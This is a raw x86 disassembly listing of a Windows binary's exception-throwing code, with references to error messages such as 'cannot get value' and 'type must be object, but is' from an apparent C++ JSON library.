lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x39
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd6
lea ecx, [ebp - 0x2778]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x2778]
push 0x57a61c
push eax
call fcn.004351fb
push str.cannot_get_value
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x47
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd6
lea ecx, [ebp - 0x2468]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x2468]
push 0x57a61c
push eax
call fcn.004351fb
push str.cannot_get_value
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x5b
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd6
lea ecx, [ebp - 0x24f4]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x24f4]
push 0x57a61c
push eax
call fcn.004351fb
push str.cannot_get_value
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x6f
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd6
lea ecx, [ebp - 0x259c]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x259c]
push 0x57a61c
push eax
call fcn.004351fb
push str.cannot_get_value
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x77
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd6
lea ecx, [ebp - 0x25b8]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x25b8]
push 0x57a61c
push eax
call fcn.004351fb
push str.cannot_compare_iterators_of_different_containers
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd4
lea ecx, [ebp - 0x2698]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x2698]
push 0x57a61c
push eax
call fcn.004351fb
push str.cannot_get_value
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd6
lea ecx, [ebp - 0x2708]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x2708]
push 0x57a61c
push eax
call fcn.004351fb
push str.cannot_compare_iterators_of_different_containers
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x2a
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd4
lea ecx, [ebp - 0x2724]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x2724]
push 0x57a61c
push eax
call fcn.004351fb
push str.cannot_compare_iterators_of_different_containers
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x28
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd4
lea ecx, [ebp - 0x2740]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x2740]
push 0x57a61c
push eax
call fcn.004351fb
mov ecx, edi
call fcn.004181e0
push eax
lea ecx, [ebp - 0x28bc]
call fcn.00402cf0
mov byte [ebp - 4], 0x3c
mov edx, str.cannot_use_operator___with_a_string_argument_with
push eax
lea ecx, [ebp - 0x28a4]
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x3d
mov edx, 0x131
push eax
lea ecx, [ebp - 0x2794]
call fcn.00407cf0
add esp, 4
lea eax, [ebp - 0x2794]
push 0x57a6e0
push eax
call fcn.004351fb
push str.cannot_get_value
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x38
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd6
lea ecx, [ebp - 0x27b0]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x27b0]
push 0x57a61c
push eax
call fcn.004351fb
push str.cannot_compare_iterators_of_different_containers
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x37
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd4
lea ecx, [ebp - 0x27cc]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x27cc]
push 0x57a61c
push eax
call fcn.004351fb
push str.cannot_get_value
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd6
lea ecx, [ebp - 0x26d0]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x26d0]
push 0x57a61c
push eax
call fcn.004351fb
push str.cannot_compare_iterators_of_different_containers
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x33
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd4
lea ecx, [ebp - 0x244c]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x244c]
push 0x57a61c
push eax
call fcn.004351fb
mov ecx, edi
call fcn.004181e0
push eax
lea ecx, [ebp - 0x2874]
call fcn.00402cf0
mov byte [ebp - 4], 0x4d
mov edx, str.cannot_use_operator___with_a_string_argument_with
push eax
lea ecx, [ebp - 0x285c]
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x4e
mov edx, 0x131
push eax
lea ecx, [ebp - 0x2484]
call fcn.00407cf0
add esp, 4
lea eax, [ebp - 0x2484]
push 0x57a6e0
push eax
call fcn.004351fb
mov ecx, edi
call fcn.004181e0
push eax
lea ecx, [ebp - 0x2844]
call fcn.00402cf0
mov byte [ebp - 4], 0x4a
mov edx, str.cannot_use_operator___with_a_string_argument_with
push eax
lea ecx, [ebp - 0x282c]
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x4b
mov edx, 0x131
push eax
lea ecx, [ebp - 0x24a0]
call fcn.00407cf0
add esp, 4
lea eax, [ebp - 0x24a0]
push 0x57a6e0
push eax
call fcn.004351fb
push str.cannot_get_value
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x46
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd6
lea ecx, [ebp - 0x24bc]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x24bc]
push 0x57a61c
push eax
call fcn.004351fb
push str.cannot_compare_iterators_of_different_containers
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x45
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd4
lea ecx, [ebp - 0x24d8]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x24d8]
push 0x57a61c
push eax
call fcn.004351fb
mov ecx, esi
call fcn.004181e0
push eax
lea ecx, [ebp - 0x2814]
call fcn.00402cf0
mov byte [ebp - 4], 0x61
mov edx, str.cannot_use_operator___with_a_string_argument_with
push eax
lea ecx, [ebp - 0x27fc]
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x62
mov edx, 0x131
push eax
lea ecx, [ebp - 0x2510]
call fcn.00407cf0
add esp, 4
lea eax, [ebp - 0x2510]
push 0x57a6e0
push eax
call fcn.004351fb
call fcn.00438c70
call fcn.00402b50
call fcn.00403330
mov ecx, esi
call fcn.004181e0
push eax
lea ecx, [ebp - 0x27e4]
call fcn.00402cf0
mov byte [ebp - 4], 0x5e
mov edx, str.cannot_use_operator___with_a_string_argument_with
push eax
lea ecx, [ebp - 0x29ac]
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x5f
mov edx, 0x131
push eax
lea ecx, [ebp - 0x252c]
call fcn.00407cf0
add esp, 4
lea eax, [ebp - 0x252c]
push 0x57a6e0
push eax
call fcn.004351fb
push str.cannot_get_value
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x5a
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd6
lea ecx, [ebp - 0x2548]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x2548]
push 0x57a61c
push eax
call fcn.004351fb
push str.cannot_compare_iterators_of_different_containers
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x59
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd4
lea ecx, [ebp - 0x2564]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x2564]
push 0x57a61c
push eax
call fcn.004351fb
lea ecx, [ebx + 0x60]
call fcn.004181e0
push eax
lea ecx, [ebp - 0x2994]
call fcn.00402cf0
mov byte [ebp - 4], 0x55
mov edx, str.type_must_be_object__but_is
push eax
lea ecx, [ebp - 0x297c]
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x56
mov edx, 0x12e
push eax
lea ecx, [ebp - 0x2580]
call fcn.00407cf0
add esp, 4
lea eax, [ebp - 0x2580]
push 0x57a6e0
push eax
call fcn.004351fb
mov ecx, esi
call fcn.004181e0
push eax
lea ecx, [ebp - 0x28ec]
call fcn.00402cf0
mov byte [ebp - 4], 0x7d
mov edx, str.cannot_use_operator___with_a_string_argument_with
push eax
lea ecx, [ebp - 0x294c]
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x7e
mov edx, 0x131
push eax
lea ecx, [ebp - 0x25d4]
call fcn.00407cf0
add esp, 4
lea eax, [ebp - 0x25d4]
push 0x57a6e0
push eax
call fcn.004351fb
call fcn.00402c60
mov ecx, esi
call fcn.004181e0
push eax
lea ecx, [ebp - 0x2904]
call fcn.00402cf0
mov byte [ebp - 4], 0x7a
mov edx, str.cannot_use_operator___with_a_string_argument_with
push eax
lea ecx, [ebp - 0x291c]
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x7b
mov edx, 0x131
push eax
lea ecx, [ebp - 0x25f0]
call fcn.00407cf0
add esp, 4
lea eax, [ebp - 0x25f0]
push 0x57a6e0
push eax
call fcn.004351fb
push str.cannot_get_value
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x76
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd6
lea ecx, [ebp - 0x260c]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x260c]
push 0x57a61c
push eax
call fcn.004351fb
push str.cannot_compare_iterators_of_different_containers
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x75
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd4
lea ecx, [ebp - 0x26b4]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x26b4]
push 0x57a61c
push eax
call fcn.004351fb
mov ecx, esi
call fcn.004181e0
push eax
lea ecx, [ebp - 0x2934]
call fcn.00402cf0
mov byte [ebp - 4], 0x71
mov edx, str.type_must_be_object__but_is
push eax
lea ecx, [ebp - 0x2964]
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x72
mov edx, 0x12e
push eax
lea ecx, [ebp - 0x2628]
call fcn.00407cf0
add esp, 4
lea eax, [ebp - 0x2628]
push 0x57a6e0
push eax
call fcn.004351fb
push str.cannot_get_value
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x6e
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd6
lea ecx, [ebp - 0x2644]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x2644]
push 0x57a61c
push eax
call fcn.004351fb
push str.cannot_compare_iterators_of_different_containers
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x6d
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd4
lea ecx, [ebp - 0x2660]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x2660]
push 0x57a61c
push eax
call fcn.004351fb
lea ecx, [ebx + 0x70]
call fcn.004181e0
push eax
lea ecx, [ebp - 0x288c]
call fcn.00402cf0
mov byte [ebp - 4], 0x69
mov edx, str.type_must_be_object__but_is
push eax
lea ecx, [ebp - 0x28d4]
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x6a
mov edx, 0x12e
push eax
lea ecx, [ebp - 0x267c]
call fcn.00407cf0
add esp, 4
lea eax, [ebp - 0x267c]
push 0x57a6e0
push eax
call fcn.004351fb
int3